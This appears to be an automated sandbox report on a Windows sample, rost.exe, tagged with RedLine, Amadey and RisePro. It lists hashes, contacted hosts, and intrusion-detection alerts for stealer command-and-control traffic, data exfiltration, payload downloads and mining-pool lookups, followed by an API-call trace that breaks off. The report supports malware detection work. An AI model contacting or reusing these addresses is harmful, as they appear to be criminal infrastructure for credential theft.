popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

rost.exe

RedLine Infostealer RedLine stealer RedlineStealer Amadey NSIS UltraVNC Hide_EXE Generic Malware .NET framework(MSIL) Malicious Library Admin Tool (Sysinternals etc ...) Antivirus UPX Malicious Packer ScreenShot PWS VNC Anti_VM AntiDebug AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Jan. 26, 2024, 9 a.m. Jan. 26, 2024, 9:02 a.m.
Size 1.2MB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 2f9214f932a930a4cdff2b48a3a8eded
SHA256 f969980852d4ccaf32b5700f4aa0934c853b1afa18c0a7f329e841d62cb35f46
CRC32 A409114B
ssdeep 24576:vpqzJdQmBHqhszkXEoiDYq4dXwQaN2K3yWds0JkKyV/aDdhCm2Ft:RqzHRUEoEYq4lXadsL4sF
Yara
  • IsPE32 - (no description)
  • Malicious_Packer_Zero - Malicious Packer
  • PE_Header_Zero - PE File Signature
  • anti_vm_detect - Possibly employs anti-virtualization techniques

Name Response Post-Analysis Lookup
accounts.google.com
A 142.251.170.84
142.250.157.84
ipinfo.io
A 34.117.186.192
34.117.186.192
www.google.com
A 142.250.66.36
142.250.76.132
ssl.gstatic.com
A 216.58.203.67
142.250.76.131
pool.hashvault.pro
A 125.253.92.50
A 131.153.76.130
142.202.242.43
db-ip.com
A 104.26.5.15
A 104.26.4.15
A 172.67.75.166
172.67.75.166
IP Address Status Action
104.26.4.15 Active Moloch
109.107.182.3 Active Moloch
125.253.92.50 Active Moloch
141.95.211.148 Active Moloch
142.250.66.36 Active Moloch
142.251.170.84 Active Moloch
164.124.101.2 Active Moloch
185.172.128.109 Active Moloch
185.172.128.19 Active Moloch
185.172.128.90 Active Moloch
185.215.113.68 Active Moloch
193.233.132.62 Active Moloch
216.58.203.67 Active Moloch
34.117.186.192 Active Moloch
5.42.64.33 Active Moloch
94.156.67.230 Active Moloch
195.20.16.103 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49168 -> 104.26.4.15:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49166 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49166 -> 34.117.186.192:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49166 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 193.233.132.62:50500 -> 192.168.56.103:49165 2046266 ET MALWARE [ANY.RUN] RisePro TCP (Token) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 193.233.132.62:50500 2049060 ET MALWARE Suspected RisePro TCP Heartbeat Packet A Network Trojan was detected
TCP 193.233.132.62:50500 -> 192.168.56.103:49165 2046267 ET MALWARE [ANY.RUN] RisePro TCP (External IP) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 193.233.132.62:50500 2046269 ET MALWARE [ANY.RUN] RisePro TCP (Activity) Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 193.233.132.62:50500 2046270 ET MALWARE [ANY.RUN] RisePro TCP (Exfiltration) Malware Command and Control Activity Detected
TCP 185.215.113.68:80 -> 192.168.56.103:49180 2400020 ET DROP Spamhaus DROP Listed Traffic Inbound group 21 Misc Attack
TCP 192.168.56.103:49180 -> 185.215.113.68:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49180 -> 185.215.113.68:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 185.215.113.68:80 -> 192.168.56.103:49180 2014819 ET INFO Packed Executable Download Misc activity
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2019714 ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile Potentially Bad Traffic
TCP 192.168.56.103:49187 -> 142.251.170.84:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 109.107.182.3:80 -> 192.168.56.103:49179 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 109.107.182.3:80 -> 192.168.56.103:49179 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 185.215.113.68:80 -> 192.168.56.103:49180 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.215.113.68:80 -> 192.168.56.103:49180 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49198 -> 142.250.66.36:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49186 -> 142.251.170.84:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 185.215.113.68:80 -> 192.168.56.103:49195 2014819 ET INFO Packed Executable Download Misc activity
TCP 185.215.113.68:80 -> 192.168.56.103:49195 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.215.113.68:80 -> 192.168.56.103:49195 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 185.215.113.68:80 -> 192.168.56.103:49195 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49189 -> 216.58.203.67:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49188 -> 216.58.203.67:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 193.233.132.62:50500 -> 192.168.56.103:49204 2046266 ET MALWARE [ANY.RUN] RisePro TCP (Token) Malware Command and Control Activity Detected
TCP 192.168.56.103:49209 -> 104.26.4.15:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 109.107.182.3:80 -> 192.168.56.103:49210 2014819 ET INFO Packed Executable Download Misc activity
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 109.107.182.3:80 -> 192.168.56.103:49210 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 109.107.182.3:80 -> 192.168.56.103:49210 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 109.107.182.3:80 -> 192.168.56.103:49210 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 109.107.182.3:80 -> 192.168.56.103:49179 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49199 -> 142.250.66.36:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 109.107.182.3:80 -> 192.168.56.103:49210 2015744 ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging) Misc activity
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 109.107.182.3:80 -> 192.168.56.103:49179 2014819 ET INFO Packed Executable Download Misc activity
TCP 109.107.182.3:80 -> 192.168.56.103:49179 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49207 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49207 -> 34.117.186.192:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49207 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49207 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2027250 ET INFO Dotted Quad Host DLL Request Potentially Bad Traffic
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043233 ET INFO Microsoft net.tcp Connection Initialization Activity Potentially Bad Traffic
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2046045 ET MALWARE [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) A Network Trojan was detected
TCP 94.156.67.230:13781 -> 192.168.56.103:49217 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response A Network Trojan was detected
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 109.107.182.3:80 -> 192.168.56.103:49210 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 109.107.182.3:80 -> 192.168.56.103:49210 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49220 -> 185.172.128.19:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 185.172.128.19:80 -> 192.168.56.103:49220 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.172.128.19:80 -> 192.168.56.103:49220 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 185.172.128.19:80 -> 192.168.56.103:49220 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 94.156.67.230:13781 -> 192.168.56.103:49217 2046056 ET MALWARE Redline Stealer Family Activity (Response) A Network Trojan was detected
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2027250 ET INFO Dotted Quad Host DLL Request Potentially Bad Traffic
TCP 192.168.56.103:49227 -> 185.172.128.90:80 2011227 ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla)) Potentially Bad Traffic
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49232 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49232 -> 34.117.186.192:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49232 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49232 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49217 -> 94.156.67.230:13781 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043233 ET INFO Microsoft net.tcp Connection Initialization Activity Potentially Bad Traffic
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2046045 ET MALWARE [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) A Network Trojan was detected
TCP 195.20.16.103:20440 -> 192.168.56.103:49243 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49246 -> 185.172.128.109:80 2011227 ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla)) Potentially Bad Traffic
TCP 192.168.56.103:49246 -> 185.172.128.109:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 195.20.16.103:20440 -> 192.168.56.103:49243 2046056 ET MALWARE Redline Stealer Family Activity (Response) A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 185.172.128.109:80 -> 192.168.56.103:49246 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.172.128.109:80 -> 192.168.56.103:49246 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043233 ET INFO Microsoft net.tcp Connection Initialization Activity Potentially Bad Traffic
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2046045 ET MALWARE [ANY.RUN] RedLine Stealer Family Related (MC-NMF Authorization) A Network Trojan was detected
TCP 141.95.211.148:46011 -> 192.168.56.103:49251 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 141.95.211.148:46011 -> 192.168.56.103:49251 2046056 ET MALWARE Redline Stealer Family Activity (Response) A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49251 -> 141.95.211.148:46011 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49234 -> 104.26.4.15:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
UDP 192.168.56.103:64178 -> 164.124.101.2:53 2036289 ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro) Crypto Currency Mining Activity Detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49195 -> 185.215.113.68:80 2044696 ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 192.168.56.103:49243 -> 195.20.16.103:20440 2043231 ET MALWARE Redline Stealer TCP CnC Activity A Network Trojan was detected
TCP 193.233.132.62:50500 -> 192.168.56.103:49230 2046266 ET MALWARE [ANY.RUN] RisePro TCP (Token) Malware Command and Control Activity Detected
TCP 192.168.56.103:49230 -> 193.233.132.62:50500 2049060 ET MALWARE Suspected RisePro TCP Heartbeat Packet A Network Trojan was detected
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2022491 ET HUNTING Download Request Containing Suspicious Filename - Crypted A Network Trojan was detected
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49210 -> 109.107.182.3:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49232 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49207 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49166 -> 34.117.186.192:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49168
104.26.4.15:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com 03:f8:79:dd:26:16:32:12:a4:33:99:34:af:f7:33:32:d5:e0:aa:e5
TLSv1
192.168.56.103:49187
142.251.170.84:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=accounts.google.com e9:00:f4:02:db:2e:43:07:4d:00:d0:33:77:6d:2b:38:28:c5:a2:b6
TLSv1
192.168.56.103:49198
142.250.66.36:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=www.google.com 3a:23:7a:7e:16:ae:ac:26:15:62:07:69:2e:e7:ad:8f:9d:b5:90:b7
TLSv1
192.168.56.103:49186
142.251.170.84:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=accounts.google.com e9:00:f4:02:db:2e:43:07:4d:00:d0:33:77:6d:2b:38:28:c5:a2:b6
TLSv1
192.168.56.103:49189
216.58.203.67:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.gstatic.com 4c:e1:1e:e3:63:49:81:bb:f5:53:ce:44:91:07:8a:14:84:70:7f:66
TLSv1
192.168.56.103:49188
216.58.203.67:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=*.gstatic.com 4c:e1:1e:e3:63:49:81:bb:f5:53:ce:44:91:07:8a:14:84:70:7f:66
TLSv1
192.168.56.103:49209
104.26.4.15:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com 03:f8:79:dd:26:16:32:12:a4:33:99:34:af:f7:33:32:d5:e0:aa:e5
TLSv1
192.168.56.103:49199
142.250.66.36:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1C3 CN=www.google.com 3a:23:7a:7e:16:ae:ac:26:15:62:07:69:2e:e7:ad:8f:9d:b5:90:b7
TLS 1.3
192.168.56.103:49241
125.253.92.50:80 		None None None
TLSv1
192.168.56.103:49234
104.26.4.15:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com 03:f8:79:dd:26:16:32:12:a4:33:99:34:af:f7:33:32:d5:e0:aa:e5

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

